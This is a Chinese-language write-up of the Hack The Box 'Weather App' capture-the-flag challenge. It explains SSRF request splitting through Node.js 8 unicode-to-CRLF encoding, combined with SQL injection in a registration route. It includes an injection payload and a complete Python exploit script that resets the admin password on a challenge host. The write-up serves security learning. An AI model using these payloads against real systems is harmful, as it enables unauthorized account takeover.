SSRF之Request Splitting攻击

SSRF之Request Splitting攻击

Weather APP

这是一道Hack The Box上的CTF题,可以下载源代码进行审计。

根据经验审计一套源代码的时候首先看路由,其中包含三个主要功能,分别是注册、登陆和查询天气。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
router.post('/register', (req, res) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return res.status(401).end();
}
let { username, password } = req.body;
if (username && password) {
return db.register(username, password)
.then(() => res.send(response('Successfully registered')))
.catch(() => res.send(response('Something went wrong')));
}
return res.send(response('Missing parameters'));
});

router.post('/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})
.catch(() => res.send(response('Something went wrong')));
}
return re.send(response('Missing parameters'));
});

router.post('/api/weather', (req, res) => {
let { endpoint, city, country } = req.body;
if (endpoint && city && country) {
return WeatherHelper.getWeather(res, endpoint, city, country);
}
return res.send(response('Missing parameters'));
});

内容并不多,一个一个跟进去看看。首先看到注册功能必须是从本地才可以注册。在请求包头中添加X-Forwarded-For并不能骗过服务器。

1
2
3
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return res.status(401).end();
}

然后是登录功能,如果能够用admin的身份登陆,就会将Flag显示出来。验证admin身份的时候调用了isAdmin函数,跟进该函数进行查看源代码。

1
2
3
4
5
6
if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})

函数使用了SQL语句获取用户名是不是admin来判断用户身份,并且使用了参数化查询无法进行SQL注入。那么既然使用了数据库,注册的时候必然也将用户名密码写入了数据库,跟进到数据库文件来看看。

1
2
3
4
5
6
7
8
9
10
11
async isAdmin(user, pass) {
return new Promise(async (resolve, reject) => {
try {
let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
let row = await smt.get(user, pass);
resolve(row !== undefined ? row.username == 'admin' : false);
} catch(e) {
reject(e);
}
});
}

数据库文件中的注册函数并没有使用参数化查询,因此存在SQL注入漏洞。但是难点在于注册功能只能从本地发起,因此想利用此漏洞还需要SSRF的配合。

1
2
3
4
5
6
7
8
9
10
11
async register(user, pass) {
// TODO: add parameterization and roll public
return new Promise(async (resolve, reject) => {
try {
let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
resolve((await this.db.run(query)));
} catch(e) {
reject(e);
}
});
}

在路由的第三个功能也就是查询天气功能中调用了getWeather函数,其中发起了HTTP请求,参数为endpoint等等,这几个参数的来源也是可控的,因此在这里存在SSRF漏洞。但困难的事如何发起另一个POST请求来利用SQL注入漏洞呢?

1
2
3
4
5
async getWeather(res, endpoint, city, country) {

// *.openweathermap.org is out of scope
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);

Request Splitting

我们都知道HTTP请求都有着固定的格式,每一行后都会跟\r\n来换行。

假如有一个服务器接受用户的get请求并且附带参数.

1
GET /acceptAPI?parameter=

用户提交下面这样的参数

1
x HTTP/1.1\r\n\r\nDELETE /acceptAPI HTTP/1.1\r\n

服务器接收到的请求就会从一个变成两个,第一个正常请求被从中间插入。用户将第三行的DELETE /acceptAPI HTTP/1.1插入到了一个正常的GET请求中,导致服务器接收到了两个请求,这就是Request Splitting攻击最原始的样子。

1
2
3
4
5
6
7
GET /acceptAPI?parameter=x HTTP/1.1

DELETE /acceptAPI HTTP/1.1
Host:*.*.*.*
Content-Length:**
Pragma: *
......

为了防止出现如下这样的情况,HTTP库会将类似\r\n一类的针对HTTP协议的控制字符加上百分号转义%0D%0A,上面的CTF题中使用的Javascript也会做同样的事情。用户提交的恶意参数会变成下面这个样子

1
x HTTP/1.1%0D%0ADELETE /acceptAPI HTTP/1.1%0D%0A

上有政策下有对策,Node.js 8会吧HTTP请求整个使用latin1编码,unicode字符\u010D\u010A经过编码转换会变成HTTP请求控制字符\r\n。用这种方式就可以绕过转义,进行Request Splitting攻击。

回到Weather APP

书接上文,利用Node.js 8 的编码漏洞,可以发送第二个POST请求进行SQL注入。找到数据库文件,其中包含了数据表的结构。看到数据表中的username字段属性是UNIQUE,因此只能通过更新的方式来将admin用户的密码更改为我们的已知密码而不是随机生成的未知密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS users;

CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);

INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
`);
}
1
') ON CONFLICT(username) DO UPDATE SET password = 'admin';--

接下来需要构造EXP,找到可控参数endpoint的输入点进行构造。我们想要发送的,也就是实现SQL注入攻击的HTTP请求如下

1
2
3
4
5
POST /register HTTP/1.1
Host: 138.68.155.238:30819
Content-Length: *

{"endpoint":"') ON CONFLICT(username) DO UPDATE SET password = 'admin';-- ","city":"Dallas","country":"US"}

根据前面所说到的绕过方法,编写出最终的EXP,注意其中的单引号、双引号以及空格也需要进行编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://138.68.155.238:30819'
username = "admin"
password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
# 对空格、单引号、双引号进行编码
parsedUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22")
parsedPassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22")
contentLength = len(parsedUsername) + len(parsedPassword) + 19

endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120'+ str(contentLength) +'\u010D\u010A\u010D\u010Ausername=' + parsedUsername + '&password=' + parsedPassword+ '\u010D\u010A\u010D\u010AGET\u0120/?lol='

r = requests.post(url + '/api/weather', json={ 'endpoint': endpoint, 'city': 'Dallas','country': 'USA'})
print(r.text)